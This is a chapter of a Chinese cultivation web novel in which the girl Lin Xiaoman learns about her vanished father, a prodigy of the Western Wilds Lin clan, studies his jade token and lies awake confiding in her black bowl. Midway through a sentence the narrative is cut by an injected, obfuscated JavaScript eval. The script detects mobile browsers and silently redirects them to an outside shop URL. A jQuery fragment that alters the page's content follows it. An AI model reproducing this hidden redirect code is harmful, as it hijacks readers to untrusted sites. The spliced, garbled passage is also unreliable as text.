林小满是被一阵急促的敲门声吵醒的,准确地说,是敲石头声。

    有人在山洞外面那块平整的石壁上"笃笃笃"敲了三下,声音不大,但穿透力很强,把睡得正香的林小满从梦里给拽了出来。

    她迷迷糊糊地坐起来,头发睡得乱蓬蓬的,怀里还抱着一碗,打了个大大的哈欠,眼泪都出来了。

    这谁啊,大清早的不让人睡觉,还让不让人活了。

    洞口传来大师兄温和的声音:"小师妹,醒了吗?掌门派人送信来了,说是关于你身世的调查结果。"

    林小满瞬间就清醒了。

    她一骨碌从石床上爬起来,鞋都差点穿反了,抱着一碗就往外冲。

    冲到洞口的时候差点撞在谢昀身上,还好谢昀反应快,伸手扶住了她。

    "慢点儿,别着急。"谢昀笑着揉了揉她的头发,手里拿着一封信。

    信封是青灰色的,上面盖着万道宗掌门的印鉴,"刚送来的,掌门亲笔写的,师傅正在里面看呢。"

    林小满点点头,心跳得有点快,扑通扑通的,像是要从嗓子眼里跳出来。

    她跟着谢昀走进山洞,就看见苏清雪坐在石桌旁边,手里拿着那封信,眉头微微蹙着,表情很认真。

    连她平时不离手的酒葫芦都放在一边,没心思喝了。

    沈语微和徐啸也在,一左一右站在旁边,都伸着脖子往信上看。

    徐啸看得最起劲,脑袋都快凑到纸上去了。

    "师傅……"林小满小声叫了一句,声音有点紧张。

    苏清雪抬起头,看了她一眼,招招手让她过去:"过来,自己看。"

    林小满走过去,趴在石桌上,小脑袋凑过去看信上的字。

    掌门的字写得很好,笔锋遒劲,力透纸背,就是有点潦草,她认了半天才认明白。

    信上写的内容不多,但每一个字都像一块小石头,投进她心里,溅起一圈又一圈的涟漪。

    西荒确实有个林家,是当地数一数二的修仙世家,传承了好几千年,底蕴深厚。

    现任家主叫林苍岳,化神期修为,是西荒赫赫有名的人物,性格刚正,在修仙界名声不错。

    林玄是林苍岳的独子,林家的嫡长子,百年前的天才,极品火灵根。

    十七岁筑基,三十岁结丹,不到百岁就到了元婴期,惊才绝艳,是整个西荒都数得上号的青年才俊。

    当年不知道多少人想把女儿嫁给他,林家的门槛都被媒人踩破了。

    可就在二十年前,林玄突然离开了林家,说是要去东荒游历,增长见识。

    这一走,就再也没回来过。

    林家对外的说法是,林玄在东荒一处秘境探险时,遇到了意外,不幸陨落了。

    林苍岳悲痛欲绝,为此还大病了一场,之后就再也没提过这个儿子。

    可掌门在信里说,这件事不太对劲。他托人查了一下,当年林玄去的那个秘境,虽然确实危险,但以林玄元婴期的修为,按理说不至于连逃出来的机会都没有。

    而且秘境出事之后,林家的人去收尸,回来之后什么都没说,只说人没了,连尸骨都没带回来。

    更奇怪的是,林玄走之前,跟家里大吵了一架,吵得很凶,整个林家住的那座山都听见了。

    吵的是什么没人知道,只知道第二天林玄就走了,走的时候只带了一个储物袋,连随身的佩剑都没拿。

    掌门说,这里面恐怕有隐情,让苏清雪先别急着去西荒,等查清楚了再说,免得打草惊蛇。

    林小满看完信,趴在石桌上半天没说话,小眉头皱得紧紧的。

    手指无意识地抠着石桌的边缘,把石桌都抠出一道白印子了。

    原来她爹真的是个天才啊,极品火灵根,十七岁筑基,三十岁结丹……

    比二师兄厉害多了,二师兄都快二十了才练气九层,跟她爹比起来,简直就是个渣渣。

    可是……他为什么要走呢?为什么要跟家里吵架?为什么连佩剑都不带?

    还有,他和娘是怎么认识的?最后又是怎么死的?

    一大堆问题挤在她的小脑袋里,乱哄哄的,像一团乱麻,理都理不清。

    她伸手摸了摸怀里揣着的那块玉佩。

    是落霞镇那个老乞丐塞给她的。

    老乞丐说这是林家嫡系的信物,只有林家嫡出的子弟才有。

    她一直以为自己是个无父无母的孤儿,当初是师傅在山下遇见她,带她回的宗门。

    可现在突然冒出来一个爷爷,还有一个曾经是天才的爹,甚至还有一大家子亲戚。

    这种感觉很奇怪,像是凭空多了很多东西,又像是失去了什么。

    "想什么呢?"苏清雪伸手弹了弹她的额头,力道不重,带着点不易察觉的温柔。

    "小脸皱得跟包子似的。"

    林小满抬头看她,眼睛里带着点迷茫:"师傅,你说……我爹为什么要走啊?他是不是跟家里闹别扭了?"

    "谁知道呢,"苏清雪耸耸肩,拿起酒葫芦喝了一口,语气淡淡的。

    "大人的事,复杂得很,不是你一个小屁孩能想明白的。"

    "那……"林小满咬了咬嘴唇,小声问,"我爷爷他……是什么样的人啊?他会不会很凶?"

    她长这么大,从来没有过爷爷,也不知道爷爷应该是什么样的。

    是像师傅一样天天喝酒?还是像大师兄一样温柔会做饭?还是像掌门一样,留着长长的胡子,说话慢吞吞的?

    "林苍岳啊……"苏清雪想了想,说,"我也没见过,只听说过。是个挺刚正的人,说一不二,脾气有点倔,当年为了他儿子的事,好像跟不少人翻过脸。"

    林小满低下头,手指绞着衣角,没说话。

    脾气倔啊……那会不会不喜欢她?她这么笨,灵根也奇奇怪怪的,还倒欠一亿气运,走到哪儿倒霉到哪儿,万一爷爷嫌她丢人怎么办?

    像是看穿了她的想法,苏清雪伸手揉了揉她的头发,力道有点重,揉得她头发都乱了。

    "瞎想什么呢,你是他亲孙女,他还能吃了你不成?真要是敢欺负你,师傅帮你揍他。"

    林小满抬头看她,眼睛亮晶晶的:"真的?"

    "那当然,"苏清雪拍了拍胸脯,一副天下无敌的样子。

    "化神后期很了不起吗?师傅也是化神后期,还比他年轻,真打起来,谁赢还不一定呢。"

    徐啸在旁边赶紧点头附和:"就是就是!师傅最厉害了!那个什么林家主要是敢对小师妹不好,咱们就把他林家给掀了!"

    "就你话多。"沈语微凉飕飕地瞥了他一眼。

    "还掀了林家,你一个练气九层的,去给人塞牙缝都不够。"

    "我……我这不还有师傅嘛!"徐啸嘴硬。

    谢昀笑着打圆场:"好了好了,别贫了。小师妹,别担心,船到桥头自然直,等你修为够了,咱们一起去西荒,当面问清楚就是了。"

    苏清雪点点头:"嗯,不急。等你筑基了,咱们就去西荒,亲自问个清楚。是福不是祸,是祸躲不过,真要是有什么事,师傅给你兜着。"

    林小满看着师傅一脸无所谓的样子,心里那点不安突然就散了。

    也是,怕什么呢,天塌下来还有师傅顶着呢,师傅可是化神后期

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17791772|210402||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,厉害得很。

    她从怀里掏出那块玉佩,递给苏清雪:"师傅,你再好好看看这个,老乞丐说这是林家嫡系的信物。"

    苏清雪接过来,拿在手里仔细看。玉佩不大,青玉材质,边角磨得发亮,还缺了个小角,看着破破烂烂的,值不了几个钱。

    正面刻着一个"玄"字,磨得很模糊了,不仔细看都认不出来。

    背面有个小小的林家徽记,也是半磨没了的样子。

    苏清雪翻来覆去看了半天,又用灵力探了探,点点头说:"确实是林家的东西,这上面有林家的家徽印记,错不了。而且……"

    她顿了顿,眉头微微蹙起:"这玉佩上被人设了禁制,只有林家血脉才能开启,里面应该藏了什么东西。"

    "啊?"林小满愣了一下,"里面有东西?那我怎么打不开啊?"

    "你修为太低了,"苏清雪把玉佩还给她,"等你筑基之后,灵力够了,应该就能打开了。到时候看看里面有什么,说不定能找到关于你爹的线索。"

    林小满赶紧把玉佩接过来,小心翼翼地揣回怀里贴身放着。

    温温的玉佩贴着皮肤,让她心里有种奇怪的踏实感。

    这里面有东西呢,是爹留给她的吗?

    她摸了摸胸口的玉佩,心里默默想,爹,你放心,等我长大了,一定会查清楚当年发生了什么事,一定会找到你的。

    当天晚上,林小满又失眠了。

    她抱着一碗躺在石床上,翻来覆去睡不着,脑子里一会儿是信里写的内容,一会儿是爹的样子。

    她从来没见过爹,只能凭着想象,觉得爹应该是个很厉害的人,穿着一身红衣服,用火灵根的法术,烧起人来特别厉害。

    一会儿又想到爷爷,那个从来没见过面的爷爷,化神期的家主,脾气很倔,不知道长什么样子。

    会不会也像爹一样,是个火灵根?要是她哪天去了西荒,爷爷会不会认她?

    还有娘,她记得清清楚楚,娘死的时候浑身是血,却还笑着摸她的头,让她好好活着,快跑,别回头。

    那时候她不懂,只知道抱着娘哭,哭到嗓子都哑了。

    可现在看来,爹娘的死好像没那么简单,爹当年为什么从林家离开?他和娘是怎么认识的?

    家里的灭门之祸,真的只是碰巧吗?还是……有人故意害他们?

    还有那块玉佩,为什么会在老乞丐手里?

    老乞丐到底是谁?

    林小满越想越精神,一点睡意都没有。她坐起来,抱着一碗,对着黑盆小声说话。

    "一碗,你说,爷爷知道有我这么个孙女吗?他要是见到我,会不会高兴啊?"

    黑盆安安静静的,没有任何回应。

    林小满也不在意,自顾自地说:"要是他们还活着就好了……不过没关系,就算他们不在了,我还有师傅,还有大师兄,还有大师姐,还有二师兄,还有你呢。"

    她抱着一碗,把脸埋在盆沿上,闻着盆上淡淡的墨香——她也不知道为什么一个盆会有墨香,反正就是挺好闻的。

    "一碗,"她小声说,"我会好好修炼的,等我筑基了,就去西荒,去找爷爷,去查清楚爹娘的事。你要陪着我哦。"

    夜风吹过洞口,挂着的风铃叮当作响,声音清脆。

    月光从洞口洒进来,落在石床上,落在小女孩小小的身影上,也落在那只黑不溜秋的盆上,给盆沿镀上了一层淡淡的银边。

    黑盆还是安安静静的,跟往常一样,看不出任何异样。

    可如果有人仔细看的话,就会发现,盆沿上那道细细的纹路,好像又深了一点点。